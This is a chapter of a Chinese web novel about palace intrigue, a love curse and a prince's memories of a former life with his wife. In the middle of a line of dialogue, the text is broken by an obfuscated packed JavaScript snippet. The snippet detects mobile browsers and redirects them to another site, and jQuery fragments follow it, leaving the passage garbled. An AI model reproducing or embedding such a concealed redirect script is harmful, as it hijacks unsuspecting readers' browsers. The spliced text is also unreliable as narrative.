17. 第十七章 追忆 劳燕分飞

作品:《反派女配的作恶日常

    “这——无法可解。”


    楼婳思虑后还是决定瞒下。


    防人之心不可无,万一这人搞鬼就不好。


    但其实,唯一的破解方面就是一方死掉,那么这个红线劫就自动断了。


    而这也是她会用这个的最大原因。


    明明上次的命令是完美无瑕的,但风可雪没死。


    她反复斟酌后才意识到这个强制道具有漏洞,执行和执行完成是两码事情。


    它的能力只能到执行,不会完成后续的条件。


    也就是风可雪自溺那刻就完成。


    她应该说自溺而死才对。


    对此,她懊悔不已。


    不过也算是因祸得福,知晓了原理。


    如果下次还有机会,她不会再让风可雪死里逃生。


    这次的红线劫花了她三千积分,也是她在风可雪成婚前的一搏。


    二殿下啊,你争气啊!


    风可雪可是你的老婆,别被那废物配角都不如的太子抢走。


    这CP磕的都累,都这么鼓捣锁死,不可能再劳燕分飞吧。


    “啧啧啧,无解啊,如此疼痛,若是本宫被用了此物。


    为了不受苦,也只能委屈那红线人。”


    夜步舟突然一个翻身,扯过楼婳,将她搂在身侧,眼底含着戏谑:


    “不知楼婳嫂嫂,可愿意来一场风花雪月呢?”


    “四、四殿下,强扭的瓜不甜~”


    一时间被勒住身体,楼婳有点措不及防。


    随即在系统寻找可以对付这变态的道具。


    “可这有时也想吃两口。”


    夜步舟轻抚楼婳的耳垂,可见对方毫无感觉,冰冷如常,便放开她:


    “享受够了,楼婳嫂嫂回去可要小心些。三皇兄,性子暴戾,你莫要漏了行踪。”


    “多谢四殿下垂爱。”


    行礼作揖,楼婳胆战心惊地踏出房间。


    果然还是要远离这奇怪的变态,能不相处就坚决相处。


    流动暗云好似心底波涛,翻来覆去。


    遮挡凄寒全月,无光、无晴亦无情。


    透过半开半合竹帘,夜重临望月幽思,心泪自溢而落。


    他忆得了。


    他也知晓了。


    只是来不及了。


    这一世又错过了。


    香囊捧于手心,轻触每条绣纹,淡淡且小心翼翼,吮吸过往气息,回念昔日浓情。


    “咳咳——”


    “咳咳咳——”


    一阵又一阵的咳嗽,剧烈不止,险些就要将肺咳出来。


    等到恢复时,身上已起一层细汗。


    “殿下,您这是怎么了?着凉了吗?”


    书房外响起一道苍老之音,他急切地拍着门。


    “本宫无碍,周伯,夜深了你去休息吧。”


    周伯长叹一声,再次念叨:“殿下也要早些休息,否则娘娘在天之灵也不会心安。”


    “知了,退下吧。”


    “是,殿下。”


    随着脚步声远去,屋内的夜重临捂着嘴咳嗽起来,又是十来下,汗如豆大。


    停止后,忽感喉中一阵腥涩。


    抬手一瞥,点红似印。


    前世也是如此,他病了。


    找不出原因,就病了。


    后头无论做什么,都是徒然。


    只是这回怎么这吐血提前了。


    “罢了。”


    夜重临擦净血迹,挽落竹帘,便踏了出去。


    穿过廊亭,将至寝宫时,忽一影跪跌在他面前,他被吓得后跳一步。


    云影飘过,月华重落霜白大地,夜重临才看清楚对方的模样。


    “你来作甚!”声音颤抖,似乎是恐惧着她到来。


    “殿下,奴婢想要继续伺候您~”


    她生得娇俏丽人,音若叮铃奏响,貌若青莲雪荷。


    她原本不是府上之人,是两月前在街市偶遇到的。


    他觉她身世凄苦,给了一笔银两安葬家人,她却缠上他。


    他本就心软耳根子软,又爱面子,在她再三哀求下收到府上。


    平日里在府上几乎不会遇见,倒也趋于平常,未曾挂心。


    可如今见了她,夜重临恍若遭遇蛇蝎。


    “殿下,那夜的露水恩情,您忘了吗?”


    对方跪步靠过来,欲要抱住夜重临,他后退好些步,大声呼救:


    “来人!把她带走!不许她靠近本宫!快带走!快啊!”


    喊得急促,唤得恐惧。


    侍卫很快赶来,将这出格的侍女拖了起来。


    “殿下,是否要关押起来?”


    刚想要答应,可转念一顾虑,“不必,别让她靠近本宫,再给她一笔银两——”


    还未说完,那侍女却大力挣脱出来,又扑跪在夜重临身前,死死抱住他的脚:


    “殿下,您不能这么对奴婢,奴婢清白的身子给了您的。


    您不能逐奴婢出府!奴婢……”


    再后面的,夜重临听不到了,被拖住的腿,好似被蛇缠上一般,冰寒刺骨。


    他只感觉胃部翻涌,头昏脑胀,四肢脱力。


    眩晕、燥热、反胃、抽搐、恶心、耳鸣,一涌齐上。


    “呕——呕——”


    随着剧烈的呕吐,秽物全部落到身前之人身上。


    之后他便再也看不见,仰面栽倒。


    寝宫内。


    周伯急得团团转,连着请了六七个大夫,都说殿下无碍。


    可都吐血昏迷了,又怎么会无事呢?


    床铺内,夜重临双眸紧闭,细汗直冒,无血色的唇开开合合。


    呼唤着心底的人儿。


    “雪儿——”


    浓重的燥热之感,让夜重临迷失意识,毫无实感。


    手指被一双柔夷缠绕、托起,被迫描绘着——


    秀眉,明眸,红唇。


    只见她轻轻探出舌华,轻抚指尖,温润之感传遍全身。


    眼前的画面突然清晰起来,是绮梦中的人。


    夜重临痴迷了,眼眸痴痴的凝视着她:


    “雪?”


    俄顷,脑海中出现一声音,它陈述道:


    【风可雪是你的妻,晚上是你们洞房花烛夜,如若不成另寻他日。】


    是的,风可雪,你是本宫的妻。


    现在是在何处?


    夜重临这才看向周遭,红烛暖帐,正是洞房花烛夜。


    “二殿下~~是我~”


    身下的人儿轻唤着,他再回眸看去——


    风可雪着一鲜红薄纱,肤白如玉,缩在他的怀里。


    双眸宛若星辰浩洋,满眼盛着皆是他。


    “叫我重临,今夜我们是夫妻。”


    夜重临抚上脸庞,落下他的印记。


    缠绵之刻,脑海流淌前尘画卷——


    百花争艳,牡丹绝艳出尘。


    伊人伫立花丛,拈花扫露。


    他踱步钻入花丛拥住那人秀肩,当即泪如雨下:


    “雪儿,为何要这样对本宫。”


    她一袭彩色百花锦缎红袍,金冠银钗点翠簪。


    流苏步摇轻坠,明眸皓齿,柔夷点他珠泪:


    “你怎么老爱哭,皇子之泪轻落,父皇母后如何看你,手下又如何看你。”


    “本宫就哭,就落泪,雪儿你明明知晓本宫只心仪你一人,为何要本宫纳妃?”


    他又开始落泪,无声的泪好似珍珠,颗颗下落。


    “纳侧妃是为稳固势力,如今手段不够,兵力不足,人心不聚,只能如此。”


    温润印上眉心,巧手拨弄青丝:


    “你若心定,她们皆是过往客人,留宿些时日,便可散去。”


    “可若是,她们非礼于本宫,本宫又当如何?


    如若那时,雪儿误会于本宫,本宫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861415|159444||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又该如何?”


    夜重临的泪顺着话语串串落下,风可雪擦拭不及,只得将他拥怀。


    “你是皇子之躯,怎会有人敢以下犯上。”


    “可当年,雪儿你便是如此对本宫——”


    耳畔突然被捏住,转一个圈,他吃痛叫唤起来:


    “啊啊啊,疼疼疼,本宫不说了。”


    “殿下啊——”


    泪珠沾湿面前衣衫,风可雪抬手画圈:


    “如若真有此事,你便哭,一直哭,哭着哭着。臣妾就知晓你受了苦难,便赶来救你。”


    “好。本宫一定哭,哭得天下雨,哭得海石碎,哭得雪儿你心魂交瘁,疼惜不已。”


    撩开衣衫一角,葱白幽探。


    花下同眠,谱一曲情绵长。


    雪儿,是本宫负了你。


    泪,再次流淌下来,晕湿枕衾一片。


    银篦一梳梳到底,霜白之丝落在上面。


    又反复梳理,一团团白毛球被丢到桌上。


    九五享受每次的一顺到底,弓起身子怜求更多。


    小脑袋又蹭着臂膀渴求抚摸,风可雪只有一双手,只得停下梳毛,将她摸一遍。


    每次逗弄九五,风可雪都在思考。


    到底是她在摸猫,还是猫在摸她。


    哎——


    随意啦,反正最后的结果是双方都爽快了。


    将毛团儿都收集起来,等足够多的时候给九五缝个垫子。


    这叫取之彼,还之彼。


    “进来。”


    门外的梅香还没敲门,风可雪却先一步唤她。


    稍有诧异,忽意识到是猫儿的缘故。


    “小姐,四殿下的人已经送到怜戏楼了。”


    果然,太子又掺和进来了。


    不过她也不打算瞒他。


    刚到怜戏楼门口,就见外面停着一高大马车。


    风可雪面具下的表情凝重起来。


    进楼一看,里面确是两位不速之客。


    “你们——咳咳,两位公子,所为何事。”


    若不是夜步舟顶着的是妖百寐的脸,她恐怕就将他们扫地出门了。


    还以为旁边那个黑黑丑丑的老怪物是什么东西,来这里污她的眼。


    “汪兄,您要的人已经送来了,那千金由这位公子抢着付了。”


    夜步舟点点旁边的人,“这位是叶兄的兄长,名为叶杯之。”


    “见过叶杯之大哥,在下汪清。”


    叶杯之,叶杯子,夜酒樽是吧。


    既然他们俩要演,那她也陪着演一场,看谁先演不下去。


    “咳咳。嗯。”


    显然最先演不下去的是夜酒樽,这口疾比他太子身份还明显。


    “天气寒凉,不如楼上炭盆烤火,小炉煮茶,暖身后再细细详谈?”


    风可雪不经意挪开视线,她不想正眼看到现在的夜酒樽。


    “好,那就雅间详谈。”


    风可雪作为主人自然是要招待客人,温杯泡茶之事要由她来做了。


    夜酒樽原先想要帮她,被她瞥一眼,这才老老实实地坐回去。


    “请,上好的青山雅韵茶。”


    凤可雪推盏至两人面前,“不过为何叶兄没来呢,反而是叶大哥。”


    “哎……也不知道为何,叶兄突然染了风寒,咳嗽不止,如今在家中休养。”


    果然,和曾经一样,都是突然病了。


    若真是风寒,大抵是不会要人命的。


    但能让壮如牛的夜重临病倒,也只能是——


    有人下毒?


    但又会是何人呢?


    若是母亲在还能查看一番,可等母亲回来至少也得是花灯节后。


    这夜重临活不到那天。


    夜步舟品着茶香,淡淡地抿一口,看似随意地瞥一眼风可雪,叹道:


    “可惜了,能再与汪兄长畅聊一番,也是叶兄的心愿啊。”